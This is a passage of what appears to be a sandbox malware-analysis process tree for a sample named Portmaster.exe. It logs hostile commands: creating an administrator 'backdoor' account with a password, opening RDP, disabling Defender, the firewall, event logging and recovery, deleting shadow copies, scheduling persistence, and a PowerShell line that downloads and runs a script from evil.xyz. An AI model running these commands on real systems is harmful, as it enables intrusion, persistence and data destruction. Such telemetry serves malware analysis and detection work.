    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:368
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:6068
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:7564
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:8224
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:6120
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:5708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2208
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      PID:9016
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    PID:5968
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:4876
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:1548
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:7512
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      PID:4536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:7560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
      4⤵
      PID:8692
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
      4⤵
      PID:3204
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      PID:9880
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reagentc /disable
      4⤵
      PID:632
    - - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc /disable
        5⤵
        Drops file in Windows directory
        
        PID:3960
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
      4⤵
      PID:9020
    - - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        5⤵
        Launches sc.exe
        
        PID:11040
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
      4⤵
      PID:2940
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:8412
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Writes to the Master Boot Record (MBR)
    PID:8776
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
      4⤵
      PID:2460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
      4⤵
      PID:7560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
      4⤵
      PID:8904
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
      4⤵
      PID:9948
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
      4⤵
      PID:10032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:10048
    - - C:\Windows\SysWOW64\net.exe
        
        net localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:7624
      - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        6⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:7816
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:9204
    - - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
        5⤵
        
        PID:11160
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:6892
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:1692
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      PID:8156
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        5⤵
        
        PID:6524
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
        5⤵
        
        PID:3292
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        
        PID:8296
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reagentc /disable
        5⤵
        
        PID:9076
      - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc /disable
        6⤵
        Drops file in Windows directory
        
        PID:10120
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
        5⤵
        
        PID:756
      - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        
        PID:5804
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:7920
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7920 -s 516
      4⤵
      Program crash
      PID:8912
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:4516
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1828 -s 616
    3⤵
    - Program crash
    PID:8516
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  PID:2216
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5148
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:5028
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:5464
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:5884
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:2020
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6068
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:7116
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7940
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Writes to the Master Boot Record (MBR)
  - System Location Discovery: System Language Discovery
  PID:4544
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5816
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2740
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2436
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:4196
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6976
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:1476
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3100
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:6856
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:7244
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5708
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:6576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:4516
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:9120
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:8576
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:7180
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:6908
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:9436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
    3⤵
    PID:5636
  - - C:\Windows\SysWOW64\net.exe
      net localgroup administrators backdoor /add
      4⤵
      PID:5548
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup administrators backdoor /add
        5⤵
        
        PID:10144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:7008
  - - C:\Windows\SysWOW64\net.exe
      net localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:10328
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
        5⤵
        Remote Service Session Hijacking: RDP Hijacking
        
        PID:8120
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4308
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:564
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1040
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:1596
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:1624
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5828
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
      4⤵
      PID:6436
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    PID:7336
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableRealtimeMonitoring $true
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:7896
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
    3⤵
    PID:7176
  - - C:\Windows\SysWOW64\netsh.exe
      netsh advfirewall set allprofiles state off
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      PID:4848
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    PID:3228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
    3⤵
    PID:7876
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    PID:7524
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reagentc /disable
    3⤵
    PID:1692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
    3⤵
    PID:4788
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
    3⤵
    PID:8820
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
    3⤵
    PID:9120
  - - C:\Windows\SysWOW64\sc.exe
      sc config Schedule start= disabled
      4⤵
      Launches sc.exe
      PID:8144
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
    3⤵
    PID:9516
  - - C:\Windows\SysWOW64\sc.exe
      sc config EventLog start= disabled
      4⤵
      Launches sc.exe
      PID:964
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
    3⤵
    PID:3980
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
  2⤵
  PID:1468
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "IEX (New-Object Net.WebClient).DownloadString('http://evil.xyz/steal.ps1')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3228
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:5948
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:6452
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:2592
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:7756
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:4260
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8924
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:6200
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:8624
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:5444
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:4760
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:996
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:7760
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:1620
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://evil.xyz/
    3⤵
    PID:1604
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c start https://evil.xyz
  2⤵
  PID:7200

C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
1⤵
- Drops startup file
- Writes to the Master Boot Record (MBR)
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4980
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2084
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3984
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3020
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3344
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:3776
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1716
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell Set-MpPreference -DisableRealtimeMonitoring $true
    3⤵
    - Disables one or more Microsoft Defender components
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4028
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3916
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    PID:3524
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:6092
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:5672
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:3864
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\SysWOW64\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:6044
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4976
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:3616
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1268
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:3120
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1032
- - C:\Windows\SysWOW64\sc.exe
    sc config Schedule start= disabled
    3⤵
    - Launches sc.exe
    PID:4260
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4244
- - C:\Windows\SysWOW64\sc.exe
    sc config EventLog start= disabled
    3⤵
    - Launches sc.exe
    PID:3652
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3280
- - C:\Windows\SysWOW64\net.exe
    net user backdoor P@ssw0rd123! /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4804
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 user backdoor P@ssw0rd123! /add
      4⤵
      PID:4424
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Windows\SysWOW64\net.exe
    net localgroup administrators backdoor /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5076
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup administrators backdoor /add
      4⤵
      System Location Discovery: System Language Discovery
      PID:1532
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add
  2⤵
  - Remote Service Session Hijacking: RDP Hijacking
  - Suspicious use of WriteProcessMemory
  PID:1504
- - C:\Windows\SysWOW64\net.exe
    net localgroup "Remote Desktop Users" backdoor /add
    3⤵
    - Remote Service Session Hijacking: RDP Hijacking
    PID:4704
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add
      4⤵
      Remote Service Session Hijacking: RDP Hijacking
      PID:5948
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
  2⤵
  PID:5156
- - C:\Windows\SysWOW64\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
    3⤵
    PID:1852
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
  2⤵
  PID:3968
- - C:\Windows\SysWOW64\netsh.exe
    netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:3988
- C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
  "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
  2⤵
  - Drops startup file
  PID:880
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
    3⤵
    PID:5752
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:3124
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4084
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
      4⤵
      PID:6428
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6832
  - - C:\Windows\SysWOW64\reg.exe
